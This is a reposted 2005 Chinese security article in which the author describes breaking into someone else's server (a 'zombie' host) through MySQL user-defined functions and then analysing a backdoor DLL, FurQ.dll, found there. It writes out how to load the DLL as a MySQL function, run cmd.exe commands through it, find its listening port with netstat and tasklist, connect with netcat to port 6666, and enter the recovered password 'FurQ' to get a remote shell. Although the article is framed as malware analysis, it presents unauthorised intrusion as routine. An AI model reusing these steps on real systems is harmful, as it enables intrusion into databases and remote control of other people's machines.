商城 设为首页注册本站  论坛  繁體中文

慧民电脑芯片级维修-电脑技巧
手机 | MP3 | MP4 | 显卡 | 主板 | 显示器 | 光存储 | 笔记本 | 网络设备 | 移动存储 | 数码相机
键鼠 | CPU | 音箱 | GPS | 电视 | 服务器 | 投影机 | 机箱电源 | 品牌电脑 | 办公打印 |
| 网站首页 | Cisco | Windows | Linux | Java | Dotnet | Oracle | 网页设计 | 平面设计 | 安全 | 软件应用 | 电脑维修 | 办公维修 |
您现在的位置: 电脑技巧 >> Windows >> 系统安全 >> 木马病毒 >> Windows正文

技术分析:“肉机”上遭遇未知病毒

文章来源:邪恶八进制 作者:佚名 更新时间:2005-5-25 【 】 【加入收藏

  5月13日凌晨,笔者在网上测试MySQL的Fun漏洞(其实不能说是漏洞,只能说是一个技术而已),用MySQL Fun攻克了一台Xeon的主机,进去之后,本想做点测试,却偶然发现这台主机的C:\下有一个叫FurQ.Dll的东西,28K大小。当时感觉和笔者用的程序非常相似,于是就将这个FurQ.DLL放到IIS目录里下到本机里,用W32DSM进行反汇编。
  
  首先,用W32DSM打开这个DLL。点开函数菜单分析输入和输出的函数,发现输入的函数中包括WS2_32函数以及接受\监听\绑定等函数,而输出的函数只有一个Shell函数。分析完这些,笔者当时判断这个程序应该是连接网络的,于是就再分析字符参考,发现了一个很经典的字符:COMSPEC。到了此时,情况已经比较明朗了,这个程序有调用CMD.EXE执行程序的能力。不过,这个程序到底是在MySQL中还是Shell中执行呢?为了搞清这个问题,笔者进行了接下来的测试。
  
  首先在mysql里执行:
  
  use mysql;
  create function Shell Returns integer soname 'c:\FurQ.dll';
  (函数Shell指的是FurQ.DLL里的Shell函数,否则创建失败)
  
  返回函数创建成功了。马上测试函数:
  
  select shell('echo kevin >c:\z.txt');
  select shell('/c echo kevin >>c:\z.txt');
  select shell('cmd.exe /c echo kevin >c:\z.txt');
  
  在这里,测试的目的是验证COMSPEC是否在MySQL中执行,然后:
  
  select load_file('c:\z.txt');
  
  返回NULL,说明z.txt没生成。看来不是执行在MySQL中的。此时,笔者想到这个程序设置了监听端口,那么会不会是在TCP端口中执行?在W32DSM里找到有.bind方式的地方,发现上面显示了跳转,马上用OllYDBG打开这个DLL并且用LoadDLL载入,然后Ctrl+G跳到这个跳转。跟踪了半天毫无结果,看来“人工”的方式不行阿,还是到“肉机”上测试。
  
  在xeon上执行“select shell();”同样返回NULL,但这时候笔者打开Taskmgr,发现MySQL的进程占用特别大,使用:
  
  netstat -ano (win2k3的机器,有o参数)
  返回进程ID
  用tasklist|find "mysql"
  列举进程,发现PID为6012
  用netstat -ano|find "6012"
  
  列举MySQL进程所开的端口,发现除了3306以外还有一个6666端口开放。初步估计这就是那个函数所产生的端口。为了验证,在本机执行:
  
  nc -v IP 6666
  
  然后连接成功了,输入ver看看是不是执行命令,返回ACCESS DENIED,有限制。去W32DSM里查看,果然包含这个函数,看来需要先进行破解。根据笔者的经验,如果是我做的这样一个后门+Shell程序,一定不会想到加密,应该就是设置一个密码,比如用VB写一行:
  
  if pwd="123" then call execshell else call failed
  
  开始跟踪。进入这个字串的位置,一般会有一个test来比较,于是向上,发现一个跳转,然后在OllyDBG里进入这个跳转,边上的分析框中显示着ASCII "FurQ",原来密码就是FurQ。实验一下:
  
  nc ip 6666
  FurQ
  
  C:\Mysql\data>
  
  分析结束,准备将FurQ.DLL样本发送给朋友,结果文件传到一半被“卡巴斯基”干掉,而其它机器上的McAfee和PC-cillin也都作出了动作,但也有很多杀毒软件是“视而不见”,由此笔者推测这个病毒可能利用了某些尚未正式公布的“新技术”,希望有关专业厂商能引起注意。
  
  作者注:个人感觉文章写得不够专业,更多的是过程描述和主观推测,谬误之处还请专家们指出。不过,由于此病毒确实在很多杀毒软件中存在“漏报”现象,我还是希望专业人士们能对其作出更为详尽和深层的分析,我这篇小短文就算是“抛砖引玉”。
  • 上一篇Windows:

  • 下一篇Windows:
  • 最 新 热 门
     低配置电脑如何优化Vista系统运行如飞似XP
     安全修改注册表默认响应方式
     禁用Vista下的硬盘监控任务栏警告
     巧用GhostEXP 将补丁加入GHO文件
     windows运行中几个特殊的执行命令
     技巧:用MSDaRT解决Vista启动故障
     XP中一人远程管理关机好方法
     一次简单修改 让WinRAR解压缩速度更快
     彻底禁用暴风顽固进程 让系统清爽起来
     通吃主流格式 让系统图片查看器更完美
    最 新 推 荐
     无需借助工具 手动分离捆绑后门
     拒绝木马入侵 四大绝招来防护
     四斧-砍清系统中各类型木马
     杀毒36计之手动清除PcShare木马
     教你手动清除隐藏的病毒文件一法
     清除以服务启动DLL插入型木马
     实战!手把手教你清除多进程关联型木马
     轻松解决盘符打不开的Autorun病毒
     病毒也有趣:10大最恐怖/干净/浪漫病毒
     免疫未知病毒木马的三种技术
    相 关 文 章

    深入分析电脑死机的14个问题
    [视频Windows 7 触摸技术展示视频
    虚拟化风暴前夕 微软HyperV技术分析
    Windows XP无线部署技术和组件概述
    解析Windows虚拟存储技术VDS
    Windows 7 最新功能改进亮点分析!
    Windows 7多点触摸技术上演苹果模仿秀
    Windows Server 2008之Hyper-V技术解析
    全民红客 CNN攻击技术解析
    SQL Server 2008分析服务概览

    | 设为首页 | 加入收藏 | 联系站长 | 友情链接 | 版权申明 | 网站公告

      Copyright 2006-2008 pcjx.com All Rights Reserved
    电脑技巧 版权所有 粤ICP备06059145号 地图
    门市地址:广东省佛山市南海区黄岐黄海路133号
    本网站所有内容未经许可不得转载或做其他使用
    电话:0757-81139980 QQ:83306923